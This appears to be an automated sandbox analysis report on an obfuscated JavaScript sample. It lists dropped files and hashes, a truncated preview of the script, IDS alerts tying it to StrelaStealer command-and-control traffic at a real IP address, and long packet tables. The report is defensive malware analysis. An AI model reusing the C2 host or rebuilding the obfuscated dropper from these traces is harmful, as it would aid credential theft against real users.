Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\37be1576-1584-425a-8997-1abd86fc67fa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\71220893-b938-4c7d-81e2-d4c9f145fdec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f4d49dfe-75b1-4131-9f7c-da6afe67f2c5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18538), with CRLF line terminators
Entropy (8bit):	4.918983799918006
TrID:
File name:	15108208223119820474.js
File size:	22'132 bytes
MD5:	8dd23410a5e498d1ba46fbd2697a58f5
SHA1:	4efaf55d39657e06f224fef512c49bd6b9feb87c
SHA256:	b76eec5cd6b77a1efe92889ec54049d3558b6d700d7df3412c4894fd774275a1
SHA512:	798f7ca219f03eea040a7548f2bbdf74a96c7fd63b3a17e0ab199eb65755880627146e9378d458ca2101339846e948ca2ec641e5849d03b1c63746bf0ff79971
SSDEEP:	384:h6DkAnT5jHACI1T+npFmCvo8S1swGr0wT1+rqvZcPP:h6DkAFz8yn3n/SuwGrp1+3P
TLSH:	F5A256BD08559B329FF0A9E0050718EB122D82D40E38B5D4DDD27CC53D4C6A6BAFB9B9
File Content Preview:	function yhspi(){mhwadl=[1031,3079,5127,4103,2055,3072];var knbqscoa=this[uggpju+wgibjtf+kpkixktul+jntwblo+rayxodbqx+ponvqe+eyjhbk+qnlytxk](this[dumnqhf+rpqfe+axgeh+kpkixktul+tbcrjugvf+uggpju+qnlytxk][cffyarsn+kpkixktul+rayxodbqx+wgibjtf+qnlytxk+rayxodbqx

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:15:08.426597+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T02:15:08.426597+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T02:15:11.125973+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:15:07.651411057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:07.656371117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:07.656639099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:07.663655043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:07.668507099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426423073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426481009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426515102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426548004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426582098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426597118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.426597118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.426613092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426656008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.426662922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426697016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426728964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426763058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.426773071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.426927090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.431664944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.469425917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.469445944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.469496012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.547245026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.547291994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.547355890 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.547594070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.547646999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.547682047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.547714949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.547749996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.547774076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.547774076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.548170090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.548218966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.548252106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.548252106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.548285007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.548317909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.548357964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.548357964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.549052954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549087048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549103022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549118042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549137115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549180984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.549180984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.549858093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549869061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549880981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549923897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.549943924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.549997091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.594799995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.596450090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.596468925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.596482038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.596584082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.633913994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.633930922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.634054899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.668287992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668306112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668371916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.668375969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668387890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668400049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668461084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.668653011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668663025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668778896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.668857098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668868065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668879986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.668935061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.668935061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.668997049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669008970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669020891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669079065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.669599056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669610977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669622898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669672966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.669672966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.669697046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669708014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669719934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669751883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.669825077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.669874907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.670489073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.670547962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.670559883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.670599937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.670641899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.670653105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.670665026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.670676947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.670707941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.670912027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.671494961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.671511889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.671524048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.671552896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.671576023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.671587944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.671597958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.671607971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.671638012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.671679020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.671772957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.672468901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.672481060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.672487974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.672533035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.672535896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.672548056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.672554016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.672560930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.672607899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.673346043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.673356056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.673388958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.683448076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.683459044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.683470011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.683482885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.683532000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.683558941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.711365938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.711396933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.711458921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.751012087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.754967928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.754992962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.755004883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.755043030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.755052090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.755067110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.755093098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.789547920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789593935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789655924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789707899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789733887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.789733887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.789741993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789776087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789808035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789840937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.789840937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789859056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.789875031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789925098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.789973974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790009022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790065050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790116072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790210009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790261984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790267944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.790267944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.790312052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790345907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790379047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790391922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.790446043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.790625095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790658951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790709972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790743113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790761948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.790791988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790826082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790848970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.790860891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790885925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:15:08.790894985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 02:15:08.790941954 CET	80	49710	193.143.1.205	192.168.2.6
